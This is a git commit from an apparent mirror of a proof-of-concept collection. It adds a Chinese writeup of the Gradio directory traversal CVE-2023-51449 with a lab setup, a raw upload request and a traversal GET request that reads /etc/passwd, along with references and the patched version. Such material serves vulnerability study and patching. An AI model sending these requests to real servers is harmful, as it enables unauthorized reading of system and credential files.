mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-05 10:50:23 +00:00
update CVE-2023-51449
This commit is contained in:
parent
297d412633
commit
155ce625a7
71
开发语言漏洞/Python Gradio 目录穿越漏洞 CVE-2023-51449.md
Normal file
71
开发语言漏洞/Python Gradio 目录穿越漏洞 CVE-2023-51449.md
Normal file
@ -0,0 +1,71 @@
|
|||||||
|
# Python Gradio 目录穿越漏洞 CVE-2023-51449
|
||||||
|
|
||||||
|
## 漏洞描述
|
||||||
|
|
||||||
|
Gradio 是一个 Python 库,允许用户无需编写前端代码即可为机器学习模型快速构建可视化 Web 界面。
|
||||||
|
|
||||||
|
在 Gradio 4.11 及更早版本中,如果未启用身份验证,知道文件路径的攻击者可以使用公共 URL 访问运行 Gradio 应用程序的服务器上的任意文件。
|
||||||
|
|
||||||
|
参考链接:
|
||||||
|
|
||||||
|
- [gradio-app/gradio#6833](https://github.com/gradio-app/gradio/pull/6833)
|
||||||
|
- https://github.com/gradio-app/gradio/security/advisories/GHSA-6qm2-wpxq-7qh2
|
||||||
|
|
||||||
|
## 漏洞影响
|
||||||
|
|
||||||
|
```
|
||||||
|
Gradio < 4.11.0
|
||||||
|
```
|
||||||
|
|
||||||
|
## 环境搭建
|
||||||
|
|
||||||
|
Vulhub 执行如下命令启动一个由 Gradio 4.10.0 编写的应用:
|
||||||
|
|
||||||
|
```
|
||||||
|
docker compose up -d
|
||||||
|
```
|
||||||
|
|
||||||
|
环境启动后,默认未开启身份验证。你可以通过 `http://your-ip:7860` 访问该应用。
|
||||||
|
|
||||||
|
## 漏洞复现
|
||||||
|
|
||||||
|
首先,使用 upload 接口上传任意文件,获取一个可访问的文件路径。
|
||||||
|
|
||||||
|
```
|
||||||
|
POST /upload HTTP/1.1
|
||||||
|
Host: your-ip:7860
|
||||||
|
Pragma: no-cache
|
||||||
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6MhLjMxNrDeOYqzr
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
Accept: */*
|
||||||
|
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
|
||||||
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
|
||||||
|
Content-Length: 44
|
||||||
|
|
||||||
|
------WebKitFormBoundary6MhLjMxNrDeOYqzr--
|
||||||
|
Content-Disposition: form-data; name="files";filename="test"
|
||||||
|
Content-Type: application/octet-stream
|
||||||
|
|
||||||
|
test
|
||||||
|
------WebKitFormBoundary6MhLjMxNrDeOYqzr--
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
获得可访问的文件路径后,利用 file 接口配合目录穿越,即可读取服务器上的任意文件,例如 `/etc/passwd`:
|
||||||
|
|
||||||
|
```
|
||||||
|
GET /file=/tmp/gradio/a94a8fe5ccb19ba61c4c0873d391e987982fbbd3/../../../../../../etc/passwd HTTP/1.1
|
||||||
|
Host: your-ip:7860
|
||||||
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
|
||||||
|
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
|
||||||
|
Cache-Control: no-cache
|
||||||
|
Accept: */*
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## 漏洞修复
|
||||||
|
|
||||||
|
该漏洞在 `gradio==4.11.0` 中被修复。
|
||||||
Binary file not shown.
|
After Width: | Height: | Size: 272 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 458 KiB |
Loading…
x
Reference in New Issue
Block a user